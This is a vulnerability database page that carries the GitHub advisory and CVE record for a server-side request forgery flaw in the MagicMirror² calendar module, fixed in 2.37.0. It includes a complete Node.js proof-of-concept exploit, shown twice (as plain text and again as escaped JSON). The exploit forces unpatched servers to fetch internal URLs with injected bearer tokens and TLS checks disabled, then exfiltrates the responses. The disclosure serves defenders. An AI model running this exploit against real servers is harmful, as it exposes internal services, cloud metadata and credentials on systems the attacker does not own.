GHSA-W6X9-28JW-HQ7J

Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26

Summary

MagicMirror: ssrf calendar .js

Details

Vulnerability — SSRF via `ADD_CALENDAR` (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.

Identification

Field	Value
PoC file	`exploit-ssrf-calendar.js`
Endpoint	socket.io namespace `/calendar`, notification `ADD_CALENDAR`
Precondition	reach the mirror's HTTP port (no authentication required)

Description

The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls: - the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." }); - the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).

Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

Exploit (`exploit-ssrf-calendar.js`)

const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
    if (event === "CALENDAR_EVENTS") {
        console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
        for (const ev of payload.events || []) {
            console.log("    SUMMARY:", ev.title);
            if (ev.title && ev.title.includes("FLAG{")) {
                console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
                console.log("      " + ev.title);
                process.exit(0);
            }
        }
    } else if (event === "CALENDAR_ERROR") {
        console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
    }
});

socket.on("connect", () => {
    console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
    console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
    socket.emit("ADD_CALENDAR", {
        url: INTERNAL_URL,
        fetchInterval: 60000,
        excludedEvents: [],
        maximumEntries: 10,
        maximumNumberOfDays: 3650,
        auth: { method: "bearer", pass: "internal-admin-token" },
        broadcastPastEvents: true,
        selfSignedCert: true,
        id: "pwn"
    });
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
TLS bypass via selfSignedCert: true.
Internal port scanning through error/timing differences.

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 SSRF via `ADD_CALENDAR` (MagicMirror\u00b2 calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever \u2014 unlike the project\u0027s hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target\u0027s response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` \u2014 turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don\u0027t see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\"    SUMMARY:\", ev.title);\n\t\t\tif (ev.title \u0026\u0026 ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\"      \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n  if (notification === \"ADD_CALENDAR\") {\n    const fetcher = new CalendarFetcher(\n      payload.url,\n      payload.fetchInterval,\n      payload.excludedEvents,\n      payload.maximumEntries,\n      payload.maximumNumberOfDays,\n      payload.auth,\n      payload.broadcastPastEvents,\n      payload.selfSignedCert\n    );\n    fetcher.fetchCalendar();\n  }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker\u0027s network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---",
  "id": "GHSA-w6x9-28jw-hq7j",
  "modified": "2026-08-18T17:26:51Z",
  "published": "2026-08-18T17:26:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror: ssrf calendar .js"
}

CVE-2026-63643 (GCVE-0-2026-63643)

Vulnerability from cvelistv5 – Published: 2026-08-18 17:18 – Updated: 2026-08-19 18:21

Title

MagicMirror: ssrf calendar .js

Summary

MagicMirror² is an open source modular smart mirror platform. Prior to 2.37.0, the ADD_CALENDAR handler in defaultmodules/calendar/node_helper.js accepts an attacker-controlled URL, authentication data, and selfSignedCert setting through the unauthenticated Socket.IO namespace /calendar. The handler passes these fields to CalendarFetcher, causing a server-side request without SSRF validation and optionally disabling TLS verification. When the response is valid iCal, CALENDAR_EVENTS returns parsed event data to the attacker, allowing internal-service response data to be exfiltrated; other responses still provide a blind request and timing primitive. This issue is fixed in version 2.37.0.

Severity

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-19 18:04 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)
CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7580 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/MagicMirrorOrg/MagicMirror/sec…	x_refsource_CONFIRM
https://github.com/MagicMirrorOrg/MagicMirror/pull/4169	x_refsource_MISC
https://github.com/MagicMirrorOrg/MagicMirror/com…	x_refsource_MISC
https://github.com/MagicMirrorOrg/MagicMirror/rel…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
MagicMirrorOrg	MagicMirror	Affected: < 2.37.0

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-63643",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-19T18:04:16.917040Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-19T18:21:37.126Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "MagicMirror",
          "vendor": "MagicMirrorOrg",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.37.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MagicMirror\u00b2 is an open source modular smart mirror platform. Prior to 2.37.0, the ADD_CALENDAR handler in defaultmodules/calendar/node_helper.js accepts an attacker-controlled URL, authentication data, and selfSignedCert setting through the unauthenticated Socket.IO namespace /calendar. The handler passes these fields to CalendarFetcher, causing a server-side request without SSRF validation and optionally disabling TLS verification. When the response is valid iCal, CALENDAR_EVENTS returns parsed event data to the attacker, allowing internal-service response data to be exfiltrated; other responses still provide a blind request and timing primitive. This issue is fixed in version 2.37.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-441",
              "description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T17:18:52.556Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
        },
        {
          "name": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
        },
        {
          "name": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
        },
        {
          "name": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
        }
      ],
      "source": {
        "advisory": "GHSA-w6x9-28jw-hq7j",
        "discovery": "UNKNOWN"
      },
      "title": "MagicMirror: ssrf calendar .js"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63643",
    "datePublished": "2026-08-18T17:18:52.556Z",
    "dateReserved": "2026-07-17T14:11:15.483Z",
    "dateUpdated": "2026-08-19T18:21:37.126Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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